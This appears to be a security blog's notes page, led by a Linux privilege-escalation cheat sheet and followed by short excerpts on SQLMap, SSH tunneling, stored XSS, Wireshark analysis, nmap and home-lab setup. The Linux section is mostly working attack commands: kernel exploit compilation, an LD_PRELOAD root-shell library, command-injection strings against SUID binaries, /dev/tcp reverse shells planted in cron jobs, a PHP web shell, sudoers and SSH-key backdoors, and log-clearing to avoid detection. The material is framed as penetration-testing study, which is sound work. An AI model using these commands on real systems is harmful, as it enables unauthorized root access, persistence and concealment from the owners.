Skip to content

Notes

Linux Privilege Escalation: Going Up!

privEsc-chacho

Privilege escalation on a Linux system is about exploiting specific vulnerabilities, misconfigurations, or oversights to gain elevated access — typically root. Even on a hardened system, subtle weaknesses like improperly configured SUID/SGID binaries, world-writable files, or unpatched kernel exploits can provide an attacker with a path to escalate privileges. The process involves thorough enumeration to uncover these opportunities, followed by precise exploitation, whether through command injection, leveraging environment variables, or exploiting vulnerable binaries. Mastery of these techniques allows you to move from basic user access to full system control, a crucial step in both offensive security and system hardening.

1. Initial Enumeration

System Info

uname -a
If you find that the system is running an outdated kernel version, such as 3.10.0-327, search for related exploits using searchsploit.

searchsploit 3.10.0-327
If an exploit (e.g. Dirty C0W (CVE-2016-5195)) is found, download and compile it.
searchsploit -m linux/local/40616.c
gcc -pthread 40616.c -o dirtyc0w
./dirtyc0w

Kernel Version

uname -r
If uname -r shows a kernel version with a known local exploit, search for it using searchsploit:

searchsploit <kernel_version>
For example, if the kernel is 2.6.32-431, search for relevant exploits.
searchsploit 2.6.32-431
Download and execute the exploit.
searchsploit -m linux/local/15285.c
gcc 15285.c -o exploit
./exploit

User & Group Info

id
If you are part of an uncommon or privileged group like docker or lxd, search for container escape techniques.

For Docker:

docker run -v /:/mnt --rm -it alpine chroot /mnt sh

whoami
If you're logged in as a low-privilege user but can see that you have sudo privileges without a password, you can escalate immediately:

sudo su

cat /etc/passwd
If you find a user with UID 0 but a non-standard shell or directory, investigate further by attempting to switch to that user:

su <username>

2. Environment Enumeration

Environment Variables

env
If you find an environment variable like LD_PRELOAD or PATH manipulated, create a malicious shared library to exploit LD_PRELOAD:

Create a malicious shared library:

// malicious.c
void _init() {
    setgid(0);
    setuid(0);
    system("/bin/sh");
}

gcc -shared -o /tmp/malicious.so -fPIC malicious.c
export LD_PRELOAD=/tmp/malicious.so
SUID Binaries

find / -perm -4000 -type f 2>/dev/null
Imagine you find a custom binary named /usr/local/bin/backup with the SUID bit set. This binary was intended to perform backups, but it was poorly coded and does not sanitize input properly. It allows you to append additional commands to its execution.

If the backup binary accepts a file name as an argument and directly passes it to a system call like system() or exec(), you can inject commands by adding a semicolon and your desired command.

/usr/local/bin/backup "; /bin/bash -p"

Here, the -p flag preserves the SUID privileges, allowing you to spawn a root shell. This command executes the backup binary, but the semicolon allows you to terminate the expected command and start a new one, effectively giving you a shell with elevated privileges.

SGID Binaries

find / -perm -2000 -type f 2>/dev/null
Assume you find a script named /usr/local/bin/logsync with the SGID bit set to a privileged group, such as adm (which often has access to system logs). This script is intended to sync log files, but it doesn't properly handle user input and directly passes arguments to a command within the script.

If the script allows you to pass arguments, you could inject a command by manipulating the input. For example.

/usr/local/bin/logsync "/var/log/syslog; /bin/bash"

In this scenario, the script tries to sync /var/log/syslog, but the semicolon terminates the logsync command and then opens a new shell (/bin/bash). The shell inherits the group privileges (e.g., adm), allowing you to read or modify logs that require elevated privileges.

Processes

ps aux
If you find a process running as root that is insecurely handling files, search for an exploit related to it:

Check if you can manipulate the files or intercept the process for privilege escalation.

echo "your code" > /path/to/target/file

Scheduled Tasks

crontab -l
If you find a cron job running a script as root from a writable location like /tmp, replace the script with your own:

Replace the script with a reverse shell.

echo "/bin/bash -i >& /dev/tcp/your_ip/your_port 0>&1" > /tmp/root_script.sh

cat /etc/crontab
If /etc/crontab is writable by your user, modify it to run a malicious command:

Add a reverse shell to crontab.

echo "* * * * * root /bin/bash -i >& /dev/tcp/your_ip/your_port 0>&1" >> /etc/crontab

Network Info

netstat -tuln
If you find an open service with known vulnerabilities, like vsftpd 2.3.4, search for an exploit using searchsploit:

searchsploit vsftpd 2.3.4
Use Metasploit to run the exploit:
msfconsole -x "use exploit/unix/ftp/vsftpd_234_backdoor; set RHOST <target_ip>; run"

iptables -L
If there are no restrictive firewall rules, you might be able to access other vulnerable services on the network:

Probe the network for other accessible services to exploit further:

nmap -sT -p- <target_ip>

3. File & Directory Permissions

World-Writable Files & Directories

find / -writable -type d 2>/dev/null
If you find a world-writable directory in a critical path, such as /var/www/html on a web server, you could place a malicious script there if the web server runs with elevated privileges.

Place a malicious PHP script in the web directory to execute a shell.

echo '<?php system($_GET["cmd"]); ?>' > /var/www/html/shell.php

Interesting Files

ls -la /etc/sudoers
If the /etc/sudoers file or a file within /etc/sudoers.d/ is writable, you could escalate privileges by modifying it to grant yourself sudo access without a password:

Add a rule to allow your user to execute any command as root without a password:

echo "yourusername ALL=(ALL) NOPASSWD:ALL" >> /etc/sudoers.d/custom
sudo su

find / -type f -name ".sh" -perm -o+w 2>/dev/null
If you find any world-writable script files that are executed by root (e.g., via cron jobs), you could add malicious commands to escalate privileges:

Append a reverse shell command to the writable script.

echo "/bin/bash -i >& /dev/tcp/your_ip/your_port 0>&1" >> /path/to/writable_script.sh

4. Review Installed Software

Package Lists

dpkg -l
If you find an outdated package with a known exploit, search for it using searchsploit:

searchsploit <package_name>
Download and execute the exploit.
searchsploit -m <exploit_id>.c
gcc <exploit_id>.c -o exploit
./exploit

rpm -qa
Script for automating dpkg -l output to run through searchsploit
#!/bin/bash
dpkg -l | awk '{print $2 " " $3}' | while read line; do
    pkg=$(echo $line | awk '{print $1}')
    ver=$(echo $line | awk '{print $2}')
    echo "[*] Searching for exploits for $pkg version $ver..."
    searchsploit "$pkg $ver"
done

Similar to dpkg -l, if you find an outdated or vulnerable package:

Search for an exploit:

searchsploit <package_name>

5. Exploit Enumeration

Search for Exploits

If your enumeration reveals a vulnerable kernel, software, or SUID binary, search for an exploit using searchsploit or online resources:

searchsploit <vulnerability_name_or_version>
Download, compile, and execute the exploit to gain root access.
searchsploit -m <exploit_id>.c
gcc <exploit_id>.c -o exploit
./exploit
Searchsploit is a go-to tool for finding and exploiting known vulnerabilities.

Automated Tools

./linpeas.sh
If LinPEAS finds an interesting SUID binary, like /usr/bin/ab with insecure permissions, check GTFOBins or searchsploit for how to exploit it:

Search for an exploit method.

# Search for "ab" on GTFOBins
/usr/bin/ab -c "id > /tmp/output"
Check the output file to verify root access.

This example is less common, but valid if you encounter a lesser-known or uncommon SUID binary.

6. Attempt Privilege Escalation

Exploit Vulnerabilities

If you’ve identified a vulnerability through previous steps, now is the time to exploit it.

Search for the specific exploit using searchsploit or Exploit-DB

searchsploit <vulnerability>
Execute the specific exploit to gain root privileges.
./exploit
This is a common path once a vulnerability is identified.

Test SUID/SGID Binaries

Suppose the result of running the SUID permissions search provided us with an uncommon binary like below:

find / -perm -4000 -type f 2>/dev/null 

Output
```output
/usr/bin/chfn
/usr/bin/chsh
/usr/bin/mount
/usr/bin/newgrp
/usr/bin/su
/usr/bin/gpasswd
/usr/bin/umount
/usr/bin/passwd
/usr/bin/simplecopy
```

Next step would be to run strings on that puppy to see what sort of calls it might have it in it that would run with higher privileges:

strings /usr/bin/simplecopy

Output
```
/lib64/ld-linux-x86-64.so.2
libc.so.6
setuid
exit
__stack_chk_fail
system
__cxa_finalize
setgid
__libc_start_main
snprintf
GLIBC_2.2.5
GLIBC_2.4
_ITM_deregisterTMCloneTable
__gmon_start__
_ITM_registerTMCloneTable
u+UH
[]A\A]A^A_
Usage: %s <source> <destination>
cp %s %s
```

In this instance cp is available to us and we provide the source and destination. Next, let's see if they protected it from tacking on commands:

/usr/bin/simplecopy HELP '/HELP && echo "chacho ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers && ls /root'

Excellent, now we can simply drop ourselves into a root shell:

sudo -i 

Abuse Misconfigured Cron Jobs

If you discovered a cron job executing a script from a writable location, replace it with a malicious script:

Add a reverse shell.

echo "/bin/bash -i >& /dev/tcp/your_ip/your_port 0>&1" > /tmp/root_job.sh
Wait for the cron job to execute and catch the root shell.

7. Post-Exploitation

Confirm Privilege Escalation

id
If id shows you as UID=0(root), you've successfully escalated privileges. This is a realistic verification step after successful privilege escalation.

whoami
Confirming you are root with this command.

Persistence

Once you have root, you may want to maintain access:

Add your SSH key to the root account:

echo "your_ssh_public_key" >> /root/.ssh/authorized_keys

8. Clean Up

Remove Artifacts

After achieving your goals, delete any traces of your activities to avoid detection:

Remove scripts, binaries, or log entries related to your actions.

rm -f /tmp/exploit /tmp/root_job.sh /tmp/malicious.so
history -c

SQLi Penetration Testing

Introduction to the SQLi

SQL Injection (SQLi) is an attack that allows execution of arbitrary SQL queries on a database through a vulnerable web application. Imagine a nightclub where the bouncer's job is to verify the age of each guest to ensure they're over 21. Instead of checking IDs properly, the bouncer just glances at whatever is shown and lets everyone in, assuming it's valid. This lack of scrutiny allows individuals who are underage and/or have fake IDs to enter the club, potentially causing trouble.

In the case of SQL injection, the web application (bouncer) is supposed to validate and sanitize user inputs (IDs) to ensure only safe and legitimate queries (guests) interact with the database (club). However, if the application fails to properly check and sanitize these inputs, malicious actors (underage individuals) can inject harmful SQL code (fake IDs) into the query, gaining unauthorized access to sensitive data (entering the club) and potentially causing damage.

laxBouncer-chacho

This walkthrough demonstrates using SQLMap to exploit a vulnerable URL parameter on a MySQL-based website. Steps include confirming the vulnerability, enumerating databases, and extracting data from the "wordpress" database. The scenario highlights the impact of SQLi vulnerabilities, such as unauthorized data access, and concludes with preparing a pentest report to document findings and recommendations.

SQLMap: SQLi Scenario
Step 1: Identify the Target

Assess the security of a website, http://example.com. The target URL is http://example.com/products.php?id=1.

Step 2: Initial Reconnaissance

Use basic browser testing and tools like Burp Suite to determine if the id parameter in the URL might be vulnerable to SQL injection.

Step 3: Running SQLMap for SQL Injection

Use SQLMap to test and exploit the SQL injection vulnerability.

sqlmap -u "http://example.com/products.php?id=1" --dbms=mysql --batch --banner
Command Explanation
  • -u "http://example.com/products.php?id=1": Specifies the URL with the potential SQL injection point.
  • --dbms=mysql: Forces the backend database type to MySQL.
  • --batch: Runs in non-interactive mode, using default options.
  • --banner: Retrieves the database server's banner to confirm the database type and version.

Understanding SSH Tunneling and Redirection

tunneling-chacho

Introduction

In penetration testing, gaining access to internal network resources often requires advanced techniques to bypass firewalls, NAT devices, and other security measures. SSH tunneling and redirection are powerful methods that allow penetration testers to navigate these obstacles. This article will explain these concepts, their real-world applications, and provide practical examples.

What is SSH Tunneling?

SSH tunneling, also known as SSH port forwarding, is a method of creating a secure, encrypted connection between a local and a remote computer through the SSH protocol. This technique can be used to forward traffic from one network port to another, effectively bypassing firewall restrictions and network segmentation.

Scenario

Imagine you are a penetration tester who has gained initial access to a target network through a compromised external server (Target1_IP). Your goal is to reach internal resources (Target2_IP and Target3_IP) and also provide a reverse connection back to your local machine for further exploitation. To achieve this, you will use an advanced SSH command that sets up multiple tunnels and optimizes connections.

The Command

ssh -o ControlMaster=yes -o ControlPath=/tmp/conn.sock -L 22222:Target2_IP:22 -L 8888:Target3_IP:80 -R 443:127.0.0.1:1234 root@Target1_IP
1. ControlMaster and ControlPath Options

-o ControlMaster=yes -o ControlPath=/tmp/conn.sock

Windows Privilege Escalation: Movin' on Up!

privEsc-chacho

Previously, I wrote a bit about the process of kerberoasting and utilizing Bloodhound and other tools for Windows penetration testing. Because those topics are covered elsewhere, this one will cover different tools and techniques that were not in the kerberoasting post.

For this post, I am continuing an exploit that began from a XSS vulnerability and was exploited through BeEF. It picks up where the BeEf post left off with having just exploited the Windows box with a very unstable Windows shell.

Migrating Processes

The first step we want to do is get ourselves out of an unstable shell by migrating to a process owned by the user we're impersonating.

Stored XSS

Imagine a library where anyone can write in a guestbook. A stored XSS attack is like someone writing a hidden, harmful message in the guestbook that, when read, causes the reader's pen to write down their personal details on a separate sheet that the attacker can access. The readers are unaware that their information is being stolen while they are simply interacting with what they believe to be a safe guestbook.

xss-chacho

Types of XSS

There are three main types of Cross-Site Scripting (XSS) vulnerabilities:

  1. Stored XSS: Also known as persistent XSS, this type occurs when malicious script is permanently stored on the target server, such as in a database, message forum, or comment field. The script is executed every time a user accesses the affected content.

  2. Reflected XSS: This type occurs when a malicious script is reflected off a web server, such as in an error message, search result, or any other response that includes some or all of the input sent to the server as part of the request. It is delivered to users via another route, such as an email or a web link.

  3. DOM-Based XSS: This type occurs when the vulnerability exists in the client-side code rather than the server-side code. The payload is executed as a result of modifying the DOM environment in the victim's browser, causing client-side script to run differently.

Walkthrough Focus

The walkthrough provided is covering Stored XSS. In this scenario, the payload is injected into the Name parameter on the Contact page of the WordPress site using the "Participants Database" plugin. When this data is stored and subsequently displayed to users or administrators, the malicious script executes, demonstrating the persistent nature of stored XSS vulnerabilities.

Step 1: Initial Reconnaissance

Pick one.

with WPScan
wpscan --url https://targetwebdomain.com --enumerate p

Skip to Step 3.

with Metasploit WordPress Scanner

Start by opening up msfconsole and finding the WordPress Scanner.

msfconsole
search wordpress scanner

wordpress-scanner-searchResults

use auxiliary/scanner/http/wordpress_scanner
set rhosts www.targetwebdomain.com
run

Skip to Step 3.

with Burp Suite

Start by running the target domain, http://targetwebdomain.com, through Burp Suite to capture and analyze the traffic.

  1. Configure Browser to Use Burp Suite Proxy:

    • Set the browser's proxy settings to route traffic through Burp Suite (typically 127.0.0.1:8080). set_proxy
    • Scope the proxy to only be for the target domain. scope_proxy

Configure NordLynx on a Unifi Dream Machine

encrypted-chacho

VPN slowing you down? OpenVPN is fantastic for privacy, but if you need speed, it's not the best protocol option. Enter WireGuard: lightweight and fast. That's why NordVPN's NordLynx is built on WireGuard; it's a game-changer. Setting up a VPN client on an edge router, like the Unifi Dream Machine, allows the entire network traffic to benefit so great - let's do that! There's only one problem: NordVPN doesn't currently provide easy config files.

The solution: Generate the configuration on a Linux machine and use those details to set up NordLynx on your router. This guide will walk you through the process by first installing NordVPN on a debian-based Linux VM (Parrot Security OS) and then using that configuration to set up NordLynx on a Unifi Dream Machine.

Install NordVPN and WireGuard on a Linux Machine

sudo apt install wireguard curl
sh <(curl%20-sSf%20https://downloads.nordcdn.com/apps/linux/install.sh)

Initiate Login to NordVPN Account

nordvpn login

Malicious Traffic Analysis

maltraffic-chacho

The following is a combination of notes, research, and knowledge acquired from a malicious traffic analysis course. The focus of this post is on identifying malicious activity in Wireshark. For basic Wireshark setup and tips for filtering, check here.

Note: A good rule of thumb in terms of physical requirements is that whatever the pcap size is, you should have four times that amount of RAM available.

Lifecycle: Reconnaissance

This includes discovery as well as scanning for hosts, fingerprinting, sevices, and network mapping.

TTL-OS Table

When you ping an ip address, the Operating System can sometimes be surmised by the TTL value. The table below is from this maintained website.

Device / OS Version Protocol TTL
AIX TCP 60
AIX UDP 30
BSDI 3.2, 4.1 ICMP 255
Compa BSD/OS 3.1 and 4.0 ICMP 255
Cisco ICMP 64
DEC Pathworks ICMP 254
Foundry V5 TCP and UDP 30
FreeBSD 2.1R ICMP 64
FreeBSD 3.4, 4.0 TCP and UDP 64
FreeBSD 5 ICMP 255
HP-UX 9.0x ICMP 64
HP-UX 10.01 TCP and UDP 30
HP-UX 10.2 TCP and UDP 64
HP-UX 11 ICMP 255
Irix 11 ICMP 255
Irix 5.3 TCP 64
juniper 6.x TCP and UDP 60
MPE/IX (HP) 6.5.3, 6.5.8 TCP and UDP 60
Linux ICMP 255
Linux ICMP 64
Linux 2.0.x kernel ICMP 200
Linux 2.2.14 kernel ICMP 64
Linux 2.4 kernel ICMP 255
Linux Red Hat 9 ICMP 255
MacOS/MacTCP 2.0.x ICMP and TCP 64
MacOS/MacTCP X (10.5.6) TCP and UDP 60
NetBSD ICMP 255
Netgear FVG318 ICMP and UDP 64
OpenBSD 2.6 & 2.7 ICMP 255
OpenVMS 07.01.2002 ICMP 255
OS/2 TCP/IP 3.0 ICMP 64
OSF/1 V3.2A TCP 60
OSF/1 V3.2A UDP 30
Solaris 2.5.1, 2.6, 2.7, 2.8 ICMP 255
Solaris 2.8 TCP 64
Stratus TCP_OS ICMP 255
Stratus TCP_OS (14.2-) TCP and UDP 30
Stratus TCP_OS (14.3+) TCP and UDP 64
SunOS STCP ICMP/TCP/UDP 60
SunOS 4.1.3/4.1.4 TCP and UDP 60
Ultrix 5.7 ICMP and TCP 255
VMS/Multinet V4.1/V4.2A TCP 60
VMS/TCPware V4.1/V4.2A UDP 30
VMS/Wollongong V4.2 – 4.5 ICMP 255
VMS/UCX TCP and UDP 64
Windows 1.1.1.1 TCP 128
Windows 1.1.1.1 UDP 30
Windows for Workgroups TCP and UDP 128
Windows 95 TCP and UDP 32
Windows 98 ICMP 32
Windows 98, 98 SE ICMP 128
Windows 98 TCP 128
Windows NT 3.51 TCP and UDP 32
Windows NT 4.0 TCP and UDP 128
Windows NT 4.0 SP5- 32
Windows NT 4.0 SP6+ 128
Windows NT 4 WRKS SP 3, SP 6a ICMP 128
Windows NT 4 Server SP4 ICMP 128
Windows ME ICMP 128
Windows 2000 pro ICMP/TCP/UDP 128
Windows 2000 family ICMP 128
Windows Server 2003 128
Windows XP ICMP/TCP/UDP 128
Windows Vista ICMP/TCP/UDP 128
Windows 7 ICMP/TCP/UDP 128
Windows Server 2008 ICMP/TCP/UDP 128
Windows 10 ICMP/TCP/UDP 128

Display Anomalous TCP Flags

By applying the filter below, you will display packets with TCP flag combinations not included in the normal set, helping to identify potential anomalous activity.

Detect unusual TCP flag combinations:

tcp && (!(tcp.flags == 0x02 || tcp.flags == 0x12 || tcp.flags == 0x10 || tcp.flags == 0x01 || tcp.flags == 0x04 || tcp.flags == 0x18))

nmap Cheatsheet

nmap-chacho

Default Scanning as Non-root with no Flags/Options

nmap 192.168.1.0/24 = nmap -sT 192.168.1.0/24
(noisy)

Default Scanning as Root with no Flags/Options

nmap 192.168.1.0/24 = nmap -sS 192.168.1.0/24
(quiet)

Process

The Noisy Way

When to use: When you need detailed information quickly and stealth is not a concern.
Consideration: This method generates a lot of traffic and is likely to be detected by IDS/IPS systems.

nmap -sT -vv -oA network-topology <ip.addr/24>
Grab our list of open IPs:
grep open network-topology.gnmap | cut -d" " -f 2 > device_list.txt
Rescan network aggressively for additional IPs at the exclusion of our open IP list:
nmap -A --excludefile device_list.txt <ip.addr/24>
Add any additional IPs found to the list:
echo "<IP_ADDRESS>" >> device_list.txt
Now rerun scan of the found IPs aggressively, but remove the ping as we no longer need to discover hosts:
nmap -Pn -A -iL device_list.txt

Solving for Silicon

help-chacho

During Apple's transition to ARM architecture, there were significant challenges with VM compatibility due to the differences between ARM and x86 architectures. While ARM Assembly has been prevalent in devices like Raspberry Pis and other IoT devices, its introduction to personal computers like desktops and laptops is relatively recent. This transition prompted many cybersecurity and IT educational institutions to adapt their VM labs. To address compatibility issues, some institutions shifted from using downloadable .ISO files to web-based environments, utilizing tools like Cockpit and KVM for easier management and deployment of virtual machines. However, not all institutions have made this shift, necessitating a different solution for this student. Switching to a PC was not an option so I decided to host my VMs on a server connected to my local network.

Initially, I tried using Cockpit and KVM, but the setup didn't meet my needs. The web browser interface didn't provide enough screen real estate, and I wanted the ability to have separate VMs that could each be full-screen workspaces, not confined to the browser. I needed something more robust—a type 1 hypervisor.

I had loved using VMWare Fusion, but the Broadcom takeover turned me away. The customer experience for downloading any VMWare tools/products was frustratingly difficult. Thus, ESXi was not an option. Eventually, I landed on Proxmox—an open-source type 1 hypervisor that operates similarly to ESXi but without the headaches. Below is the process for installing the system and links to each of the VMs I chose to add to my lab environment with their individual setups.

Installing and Setting up Proxmox VE

Step 1: Download and Flash Proxmox VE

Web Server Setup

Nginx

web-chacho

The following guide provides a walkthrough for setting up a web server on a local network using Nginx. This guide assumes you are using Ubuntu or another debian-based flavor of Linux as your operating system.

Step 1: Install Nginx

Before we start, make sure to update your package manager:

sudo apt update

Next, install Nginx:

sudo apt install nginx

Once the installation is complete, check the status of Nginx:

sudo systemctl status nginx

Ensure Nginx is running. You should see output indicating that the service is active (running).

Verify that port 80 (the default HTTP port) is open:

netstat -ant